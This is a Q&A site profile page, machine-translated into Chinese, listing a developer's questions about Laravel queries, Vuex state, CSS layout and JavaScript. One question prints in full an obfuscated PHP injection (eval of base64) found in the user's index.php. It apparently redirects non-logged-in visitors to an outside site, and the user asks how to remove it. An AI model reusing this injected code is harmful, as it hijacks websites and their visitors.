主页 / user-10728

Родион Поляков's questions

Martin Hope
Родион Поляков
Asked: 2022-04-02 20:33:12 +0000 UTC
  • 0

有一个类别模型和一个产品模型。这些模型之间存在多对多的关系。在类别页面上，我们获取该类别的所有产品，以及每个产品的所有类别。

例子。

$category->type
$category->name

@foreach ($category->products as $product)
    $product->name

    @foreach ($product->categories as $category)
        $category->type
        $category->name
    @endforeach
@endforeach

在我们得到的输出。

Manufacturer
Alize

    Alize Lana Gold

       Manufacturer
       Alize
       Country
       Turkey
       Fiber
       Acrylic

每个类别都有自己的类型。例如：国家、制造商或光纤。国家、制造商或成分的类别。一种产品总是有一个国家和制造商，但可以有许多纤维。

是否有可能以某种方式重建（我不知道怎么说正确）集合，以便返回产品及其所属的所有类别？

也就是说，能够这样做。

$category->type
$category->name

@foreach ($category->products as $product)
    $product->country // категория
    $product->manufacturer // категория
    $product->name

    @foreach ($product->fibers  as $fiber) // категория
        $fiber->name
    @endforeach
@endforeach

我们明确地写出 Country、Manufacturer 并且只在数组中迭代 Fiber，因为一个产品可以有很多这种类型的类别。

laravel
Martin Hope
Родион Поляков
Asked: 2022-03-17 23:06:09 +0000 UTC
  • 3

如果 id 不在获取参数（字符串）或会话（数组）中，那么我们会按流行度显示所有可用的颜色。如果 get 参数中有一个 id，那么该颜色应该首先出现。如果 get 参数中有 id 并且 session 中有大量 id，那么第一个应该是 get 参数的颜色，然后是 session 数组中的颜色，然后是所有其他颜色。同时，所有的颜色都必须按流行度排序，并且可用。

现在我只检查获取参数的存在。

public function index(Request $request)
{
    $colors_ids = $request->session()->get('colors_ids');

    $this->validate($request, [
        'color' => 'numeric',
    ]);

    $colors = Color::where([['in_stock', '=', '1']])
                   ->orderByRaw(sprintf("CASE id WHEN %d THEN 1 ELSE 2 END", $request->get('color')))
                   ->orderBy("popularity", "desc")
                   ->get();

    return view('color.index', compact('colors'));
}

更新

在任何情况下，您都需要显示所有可用的颜色。只是如果 url 有一个 get-parameter，那么这个颜色应该是第一个，不管它的受欢迎程度如何。然后应该有我们从会话中获取其指标的颜色，并且这些颜色应该按受欢迎程度排序并且可用。只有这样，所有其他可用的颜色才会按受欢迎程度排序。

如果我们有一个 get 参数：

  1. 我们从 get 参数中获取的颜色 ID。它必须可用。
  2. 其他颜色可选。按人气排序。

如果我们只有会话中的 id 列表：

  1. 我们从会话中获取 id 的颜色。按人气排序。必须可用。
  2. 其他颜色可选。按人气排序。

如果我们有一个 get 参数和一个会话中的 id 列表：

  1. 我们从 get 参数中获取的颜色 ID。它必须可用。
  2. 我们从会话中获取 id 的颜色。按人气排序。必须可用。
  3. 其他颜色可选。按人气排序。

如果会话为空且 url 没有 get 参数。

  1. 所有可用的颜色。按人气排序。
laravel
Martin Hope
Родион Поляков
Asked: 2022-03-12 00:56:39 +0000 UTC
  • 0

有一个代码可以按受欢迎程度从数据库中提取记录：

public function index(Request $request)
{

    $colors = Color::where([['in_stock', '=', '1']])
                   ->orderBy('popularity', 'desc')
                   ->get();
    
    return view('color.index', compact('colors'));
}

如何修改以便如果有一个带有 id 的 get-parameter 并且在数据库中存在这样的 id，它将是第一个，并且所有后续都受欢迎？

site.local/?сolor=id
php
Martin Hope
Родион Поляков
Asked: 2022-01-31 20:14:40 +0000 UTC
  • 1

在我的 index.php 中找到以下代码：

/*aeR4Choc_start*/@eval(base64_decode('aWYoIWRlZmluZWQoImNoYWVKb3U3IikpewogICAgZGVmaW5lKCJjaGFlSm91NyIsIDEpOwogICAgZnVuY3Rpb24gaXNNb2JpbGUoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdhbmRyb2lkJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnYmxhY2tiZXJyeScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwaG9uZScpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwYWQnKSAhPT0gZmFsc2UKICAgICAgICAgICAgfHwgc3RycG9zKCR1YWdlbnRTdHIsICdpcG9kJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnb3BlcmEgbWluaScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2llTW9iaWxlJykgIT09IGZhbHNlKXsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0Rlc2t0b3AoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdlZGdlJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnbXNpZScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ29wcicpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2Nocm9taXVtJykgIT09IGZhbHNlCiAgICAgICAgICAgIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnZmlyZWZveCcpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2Nocm9tZScpICE9PSBmYWxzZSl7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgJHJlZGlyVG8gPSAiaHR0cHM6Ly93d3cucm94b2Vub3MueHl6LyI7CiAgICAkY2hlY2tDb29rUmVkaXJTdHIgPSAiYWVOZWU4cGkiOwogICAgJHJlZGlyZWN0QWxsb3cgPSB0cnVlOwogICAgZm9yZWFjaCAoJF9DT09LSUUgYXMgJGNvb2tLZXk9PiRjb29rVmFsKXsKICAgICAgICBpZiAoc3RycG9zKCRjb29rS2V5LCAnd29yZHByZXNzX2xvZ2dlZF9pbicpICE9PSBmYWxzZSB8fCAkY29va0tleSA9PSAkY2hlY2tDb29rUmVkaXJTdHIpIHsKICAgICAgICAgICAgJHJlZGlyZWN0QWxsb3cgPSBmYWxzZTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQogICAgfQoKICAgICR1YWdlbnQgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7CgogICAgaWYgKCRyZWRpcmVjdEFsbG93KXsKICAgICAgICBpZihpc01vYmlsZSgkdWFnZW50KSB8fCBpc0Rlc2t0b3AoJHVhZ2VudCkpIHsKICAgICAgICAgICAgc2V0Y29va2llKCRjaGVja0Nvb2tSZWRpclN0ciwgIjEiLCB0aW1lKCkgKyA2MDQ4MDApOwogICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAkcmVkaXJUbyIpOwogICAgICAgICAgICBkaWU7CiAgICAgICAgfQogICAgfQp9'));/*aeR4Choc_end*/

我知道这是某种病毒。告诉我如何摆脱这种情况并在未来保护自己？

php
Martin Hope
Родион Поляков
Asked: 2020-12-29 12:19:22 +0000 UTC
  • 0

您需要获取所有颜色，或者某个制造商的颜色，或者某个集合的颜色。到目前为止，除了制造商之外，一切都已完成。

public function index(Request $request)
{
    $query = Color::with('collection.manufacturer');

    if ($request->has('collection')) {
        $query->where(function ($q) use ($request) {
            return $q->where('collection_id', $request->input('collection'))->firstOrFail();
        });
    }

    if ($request->has('manufacturer')) {
        # code...
    }

    $colors = $query->get();

    return view('colors.index', compact('colors'));
}
laravel
Martin Hope
Родион Поляков
Asked: 2020-12-27 12:43:24 +0000 UTC
  • 0

在一周的时间里，我每天都重新改写一切。由于无法正确设计数据库，因此卡在一个地方。事实证明，一切似乎都是正确的，但是在完成时，我遇到了错误的结构。

有3张表：

制造商。

- 有id和name。

收藏。

—有id和。manufacturer_idname

颜色。

—有id和。collection_idname

逻辑：

一个制造商可以有多个系列。一个集合可以属于一个制造商。一个集合可以有多种颜色。一种颜色只能属于一个系列。

我必须马上说，颜色不是通常意义上的颜色，而是物理的东西。如果它是一种通常意义上的颜色，那么一种颜色可以属于不同的系列是合乎逻辑的，但事实并非如此。在我们的例子中，颜色是我们用作未命名项目的名称。集合不是 Laravel 意义上的集合，而只是表和模型的名称。

— 1. Производитель.
— — 1. Коллекция.
— — — 1. Цвет.
— — 2. Коллекции.
— — — 2. Цвет.
— 2. Производитель.
— — 3. Коллекция.
— — — 3. Цвет.
— — 4. Коллекция.
— — — 4. Цвет.

hasMany()使用关系（一对多）似乎是合乎逻辑的，但事实证明它有点复杂。

页数：

我们不知道颜色和系列。我们只看到他们的总数。

(Страница производителя)
Производитель — Коллекции — Цвета
Имя_____________2(две)______2(два)

(Страница коллекции)
Производитель — Коллекции — Цвета
Имя_____________Имя_________1(один)
Имя_____________Имя_________1(один)

当我们打开彩页时。

(Страница цвета)
Производитель — Коллекции — Цвета
Имя_____________Имя_________Имя
Имя_____________Имя_________Имя

在制造商的页面上，一切都非常简单明了。我们可以通过 将制造商模型链接到收藏模型hasMany()，并通过 链接到花卉模型hasManyThrough()。然后我们可以使用 计算该制造商的系列和颜色总数withCount()。

在收藏页面上，一切都非常简单。我们对制造商的模型有反馈，belongsTo()并通过hasMany(). 我们withCount()用来计算属于这个集合的颜色总数。

花页是死胡同。我们可以得到颜色所属的集合，因为我们有来自集合的反馈belongsTo()，但我们没有来自生产者模型的反馈。Laravel 对hasManyThrough().

事实证明，要么我解决这个问题的设想显然不正确，要么是数据库结构有问题。这是我的第一次开发经验，所以我想做正确的事，而不仅仅是做如何做。你将如何解决这个问题？最好有最正确的解决方案，以免教初学者不好。但是，我很乐意接受任何想法和建议。

php
Martin Hope
Родион Поляков
Asked: 2020-12-26 05:47:38 +0000 UTC
  • 0

这行得通，但有一个问题——{two}你可以在里面写任何你想要的东西，而且不会出错。仅当在表中未找到指定的 from404时才会出现错误。这是问题的症结所在。id{three}

路线

Route::get('one/{two}/{three}', 'MyController@show')->name('three.show');
Route::get('one/{two}/{three}/edit', 'MyController@edit')->name('three.edit');

控制器

class MyController extends Controller
{
   // ...

    public function edit($two, $three)
    {
        $variable = ThirdModel::findOrFail($three);

        return view('three.edit', compact('variable'));
    }

    // ...
}

模型与路线相关{two}并且{three}有关系。ThirdModel::findOrFail($three)之前检查id链接表中是否存在会很棒TwoModel。这可以以某种方式实现吗？

模型

class ThirdModel extends Model
{
    // ...

    public function MyMethod()
    {
        return $this->belongsTo('App\TwoModel');
    }

    // ...
}
laravel
Martin Hope
Родион Поляков
Asked: 2020-11-11 20:51:19 +0000 UTC
  • 1

如何使阴影不会越过另一个街区？谢谢你。

html

<div class="col-sm-6 col-lg-4 col-xl-3">
    <img class="img-fluid" src="img/cover.jpg" data-src="img/Аметист.jpg">
    <div class="d-flex justify-content-between">
        <div class="info">
            <p class="mb-0">Аметист</p>
            <p class="mb-0">19.99 грн.</p>
        </div>
        <button class="btn btn-outline-dark align-self-center" onclick="Chatra('openChat', true);">Купить</button>
    </div>
    <div class="info-xl">
        1
    </div>
</div>

css

.col-xl-3:hover {
    background-color: #fff;
    box-shadow: 0 0 15px rgba(0,0,0,0.15);
    z-index: 1;
}

.col-xl-3:hover .info-xl {
    display: block;
}

.info-xl {
    display: none;
    position: absolute;
    left: 0;
    right: 0;
    padding: 15px;
    background-color: #fff;
    box-shadow: 0 0 15px rgba(0,0,0,0.15);
    border-top: 1px solid #dee2e6;
}

在此处输入图像描述

html
Martin Hope
Родион Поляков
Asked: 2020-09-14 06:58:13 +0000 UTC
  • 0

text-align: center;如果在视觉上它不影响任何东西，那么为按钮指定什么？这些属性在大多数 CSS 框架中指定。

来自W3Schools.com的示例

.button {
  background-color: #4CAF50;
  border: none;
  color: white;
  padding: 15px 32px;
  text-align: center;
  text-decoration: none;
  display: inline-block;
  font-size: 16px;
}
<button>Default Button</button>
<a href="#" class="button">Link Button</a>
<button class="button">Button</button>
<input type="button" class="button" value="Input Button">

css
Martin Hope
Родион Поляков
Asked: 2020-09-09 19:44:30 +0000 UTC
  • 0

现在text-overflow应用于.product，因为只有这个元素有宽度限制。因此，文本被截断，但不替换末尾的省略号。需要剪掉比这更宽的文本，.into并在末尾替换一个省略号。问题是它.into没有宽度限制。另外，您需要申请text-overflow内部标签<p>。有任何想法吗？

.catalog {
    display: grid;
    grid-template-columns: repeat(2, 1fr);
    grid-column-gap: 15px;
    grid-row-gap: 15px;
}

.product {
    overflow: hidden;
    text-overflow: ellipsis;
    white-space: nowrap;
}

.info {
    padding-top: 10px;
    padding-bottom: 10px;
}
.info .name {
    font-weight: 600;
}

.info > .name,
.info > .price {
    margin-bottom: 0;
}
<div class="catalog">
    <div class="product">
        <div class="info">
            <p class="name">Наименование</p>
            <p class="price">456 руб.</p>
        </div>
    </div>
</div>

css
Martin Hope
Родион Поляков
Asked: 2020-09-07 19:57:31 +0000 UTC
  • 0

我正在尝试从此聊天中复制对话框的布局。聊天本身有一个固定的高度。里面的聊天分为3个区块。1 块具有固定高度并被压到顶部。3块有一个固定的高度并压到底部。块 2 占据了所有剩余空间，并能够在其内部滚动内容。主要问题是我不明白如何调整聊天块的高度。也就是说，主聊天块随着浏览器窗口的减少而减少。有任何想法吗？

在此处输入图像描述

html

<div class="cart">
    <div class="cart-header">
        <p>Прижать к верху.</p>
    </div>
    <div class="cart-body">
        <p>Занять все свободное место с возможностью прокрутки (overflow).</p>
    </div>
    <div class="cart-footer">
        <p>Прижать к низу.</p>
    </div>
</div>

css

.cart {
    position: fixed;
    right: 15px;
    bottom: 15px;

    // 576 px и больше.
    @include media-breakpoint-up(sm) {
        right: 30px;
        bottom: 30px;
    }

    &.show {
        width: 100%;
        height: 100%;

        // 576 px и больше.
        @include media-breakpoint-up(sm) {
            max-width: 380px;
            max-height: 600px;
        }
    }
}

.cart-body {
    display: none;

    .cart.show > & {
        display: block;
    }
}

.cart-footer {
    display: none;

    .cart.show > & {
        display: block;
    }
}
html
Martin Hope
Родион Поляков
Asked: 2020-09-02 18:45:06 +0000 UTC
  • 1

如果是目录组件、产品模块和类似于购物车的东西。产品模块存储所有产品的列表，订单模块存储已购买产品的Id和数量。如何确定特定产品的“购买”按钮已被点击，显示有关它的消息并使按钮无效（禁用）？对于代码的任何评论，业力的巨大加分，谢谢！

目录.vue

<template>
    <b-row>
        <b-col sm="6" lg="4" xl="3" v-for="product in products" :key="product.id">
            <div class="image" v-lazy:background-image="product.image">
                Видно если нажали "Купить".
            </div>
            <div class="d-flex justify-content-between">
                <div>
                    <p class="mb-0">{{product.name}}</p>
                    <p class="mb-0">{{product.price}} грн.</p>
                </div>
                <b-button class="align-self-center" variant="outline-dark" @click="buyProduct(product.id)">Купить</b-button>
            </div>
        </b-col>
    </b-row>
</template>

<script>
    import { BRow, BCol, BButton } from 'bootstrap-vue'
    import { mapState, mapActions } from 'vuex'

    export default {
        components: {
            BRow,
            BCol,
            BButton
        },
        computed: mapState({
            products: state => state.product.all
        }),
        methods: {
            ...mapActions('order', ['buyProduct'])
        }
    }
</script>

产品.js

import axios from 'axios'

export default {
    namespaced: true,
    strict: true,

    state: {
        page: 1,
        all: []
    },

    mutations: {
        incrementPage: (state) => {
            state.page++
        },
        addToAllProducts: (state, products) => {
            state.all.push(...products)
        }
    },

    actions: {
        getFourProducts: (context, $state) => {
            axios.get('http://api.local/api/products', {
                params: {
                    page: context.state.page
                },
            }).then(({ data }) => {
                if (data.data.length) {
                    context.commit('incrementPage')
                    context.commit('addToAllProducts', data.data)
                    $state.loaded()
                } else {
                    $state.complete()
                }
            })
        }
    }
}

order.js

export default {
    namespaced: true,
    strict: true,

    state: {
        all: []
    },

    mutations: {
        addToOrder(state, id) {
            state.all.push({
                id,
                quantity: 1
            })
        }
    },

    actions: {
        buyProduct(context, id) {
            context.commit('addToOrder', id)
        }
    }
}
vue.js
Martin Hope
Родион Поляков
Asked: 2020-08-28 16:30:44 +0000 UTC
  • 1

我使用异步组件加载。一切正常，但并不完全如我们所愿。Laravel Mix.js不会将组件文件构建public > js到public. 其次，最好用组件的名称来命名文件。虽然第二个不是那么重要，但主要是处理第一个问题。

应用程序.js

import Vue from 'vue'
import router from "./router";
import App from './components/App.vue'

new Vue({
    el: '#app',
    router,
    render: h => h(App)
})

路由器.js

import Vue from "vue";
import Router from "vue-router";

Vue.use(Router);

export default new Router({
    mode: 'history',
    routes: [
        {
            path: "/",
            component: () => import("./components/ProductList.vue")
        },
        {
            path: "/cart",
            component: () => import("./components/ShoppingList.vue")
        }
    ]
});

webpack.mix.js

const mix = require('laravel-mix');

mix.js('resources/js/app.js', 'public/js')
    .sass('resources/sass/app.scss', 'public/css');
laravel
Martin Hope
Родион Поляков
Asked: 2020-08-26 17:48:08 +0000 UTC
  • 1

直接在action中访问state.page并在同一个地方将值增加1的允许程度如何？也许最好通过类似于 的突变来做到这一点setProducts()？事实是，无法直接逃避上诉。我只能通过突变使值增加1，对吗？

// state
const state = {
    page: 1,
    all: []
}

// getters
const getters = {}

// actions
const actions = {
    getProducts ({ commit }, $state) {
        axios.get('/api/products', {
            params: {
              page: state.page,
            },
        }).then(({ data }) => {
            if (data.data.length) {
                commit('setProducts', data.data)
                state.page += 1
                $state.loaded();
            } else {
                $state.complete();
            }
        });
    }
}

// mutations
const mutations = {
    setProducts (state, products) {
        state.all.push(...products)
    }
}

export default {
    namespaced: true,
    state,
    getters,
    actions,
    mutations
}
vue.js
Martin Hope
Родион Поляков
Asked: 2020-08-23 16:40:19 +0000 UTC
  • 0

我在一些网店看到这样的解决方案：为图片添加一个容器，当图片插入容器时，沿容器的整个高度拉伸并居中对齐，宽度被截断容器。结果是 1x1 > 3x4。

我正在使用 CSS 框架布尔玛。默认情况下，我们已经有一个图像容器来保持我们需要的纵横比（3x4）。但是，如果我添加一个 1x1 图像，它只会拉伸以适应容器。如何使图像居中并在边缘裁剪？

<figure class="image is-3by4">
    <img src="https://bulma.io/images/placeholders/480x640.png">
</figure>
css
Martin Hope
Родион Поляков
Asked: 2020-06-03 17:37:00 +0000 UTC
  • 3

我正在尝试编写一个脚本来测量单页网站的浏览深度。

这个想法如下：一个单页的网站被分成几个部分。查看任何部分超过 15 秒时，将触发 Yandex.Metrica 目标。

部分示例。

<section id=""></section>
<section id=""></section>
<section id=""></section>

特定部分的定义。

// Получаем нужный элемент
var element = document.querySelector('target');

var Visible = function (target) {

    // Все позиции элемента
    var targetPosition = {
            top: window.pageYOffset + target.getBoundingClientRect().top,
            bottom: window.pageYOffset + target.getBoundingClientRect().bottom
        },
        // Получаем позиции окна
        windowPosition = {
            top: window.pageYOffset,
            bottom: window.pageYOffset + document.documentElement.clientHeight
        };

    if (targetPosition.bottom > windowPosition.top && // Если позиция нижней части элемента больше позиции верхней чайти окна, то элемент виден сверху
        targetPosition.top < windowPosition.bottom) { // Если позиция верхней части элемента меньше позиции нижней чайти окна, то элемент виден снизу
        // Если элемент полностью видно, то запускаем следующий код
        console.clear();
        console.log('Вы видите элемент!');
    } else {
        // Если элемент не видно, то запускаем этот код
        console.clear();
    };

};

// Запускаем функцию при прокрутке страницы
window.addEventListener('scroll', function() {
    Visible (element);
});

我无法解决两个任务，否则脚本不能被认为是有效的：

1.) 多个部分。我不明白如何实现一种方便的方法来枚举所需的部分以及如果用户在某个部分停止时激活计时器的机制。

2.) 最大的问题是一个用户可以同时看到 2 或 3 个部分。示例：用户在 100% 时看到第 1 部分，在 20% 时看到第 2 部分。或者，用户在 20% 时看到第 2 部分，在 100% 时看到第 3 部分，在 20% 时看到第 4 部分。我不明白如何为用户视野中最多的部分激活计时器，并且当滚动到另一个部分时，重新启动计时器。示例：在用户的视野中，第 1 部分为 100%，第 2 部分为 20%。对于第 1 部分，计时器计数为 14 秒，但随后用户滚动页面，结果发现第 2 部分在 20% 时可见，第 3 部分在 100% 时可见，第 4 部分在 20% 时可见，这意味着您需要更新计时器并开始第 3 节的新报告。

在此处输入图像描述

这两个问题是相互关联的，如果我可以借助某些拐杖自己解决第一个问题，那么我几天都无法将它们连接在一起。解决这个问题的任何想法？

javascript
Martin Hope
Родион Поляков
Asked: 2020-02-12 10:10:00 +0000 UTC
  • 1

有两种标记选项，但哪一种是正确的？

<div class="container">
    <div class="row">
        <div class="col-3"></div>
        <div class="col-3"></div>
        <div class="col-3"></div>
        <div class="col-3"></div>

        <div class="col-3"></div>
        <div class="col-3"></div>
        <div class="col-3"></div>
        <div class="col-3"></div>
    </div>
</div>

或者

<div class="container">
    <div class="row">
        <div class="col-3"></div>
        <div class="col-3"></div>
        <div class="col-3"></div>
        <div class="col-3"></div>
    </div>

    <div class="row">
        <div class="col-3"></div>
        <div class="col-3"></div>
        <div class="col-3"></div>
        <div class="col-3"></div>
    </div>
</div>
html
Martin Hope
Родион Поляков
Asked: 2020-02-08 13:49:56 +0000 UTC
  • 2

告诉我，在这个例子中可以不用<div class="more">...</div>吗？

img {
    max-width: 100%;
    height: auto;
}

.more {
    display: grid;
    grid-template-columns: repeat(4, 1fr);
    grid-column-gap: 10px;
    margin-top: 10px;
}
<div class="photo">
    <img src="https://4.bp.blogspot.com/-KRym5tq8hu8/VwzHCS14M_I/AAAAAAAABQI/rSpEJlsPOqM9AUhuPYRo5hA2bKzB3ZCNwCLcB/s1600/tekstura-dolki-apelsin.jpg">
    <div class="more">
        <img src="https://4.bp.blogspot.com/-KRym5tq8hu8/VwzHCS14M_I/AAAAAAAABQI/rSpEJlsPOqM9AUhuPYRo5hA2bKzB3ZCNwCLcB/s1600/tekstura-dolki-apelsin.jpg">
        <img src="https://4.bp.blogspot.com/-KRym5tq8hu8/VwzHCS14M_I/AAAAAAAABQI/rSpEJlsPOqM9AUhuPYRo5hA2bKzB3ZCNwCLcB/s1600/tekstura-dolki-apelsin.jpg">
        <img src="https://4.bp.blogspot.com/-KRym5tq8hu8/VwzHCS14M_I/AAAAAAAABQI/rSpEJlsPOqM9AUhuPYRo5hA2bKzB3ZCNwCLcB/s1600/tekstura-dolki-apelsin.jpg">
        <img src="https://4.bp.blogspot.com/-KRym5tq8hu8/VwzHCS14M_I/AAAAAAAABQI/rSpEJlsPOqM9AUhuPYRo5hA2bKzB3ZCNwCLcB/s1600/tekstura-dolki-apelsin.jpg">
    </div>
</div>

html
Martin Hope
Родион Поляков
Asked: 2020-09-14 09:16:41 +0000 UTC
  • 1

是否有一些优雅的方法可以将一个值拆分为字母，然后转到下一个值？在我看来，一个拐杖是错误的结果。

var key = 0;
var array = [
    [
        'один',
        'два',
        'три'
    ],
    [
        'first',
        'second',
        'third'
    ]
];

array[key]

一个没有拆分成字母的例子：

for(var value = 0; value < array[key].length; value++) {
    console.log(array[key][value]);
}

结果：

один
два
три

期望的结果：

о
д
и
н
д
в
а
т
р
и
javascript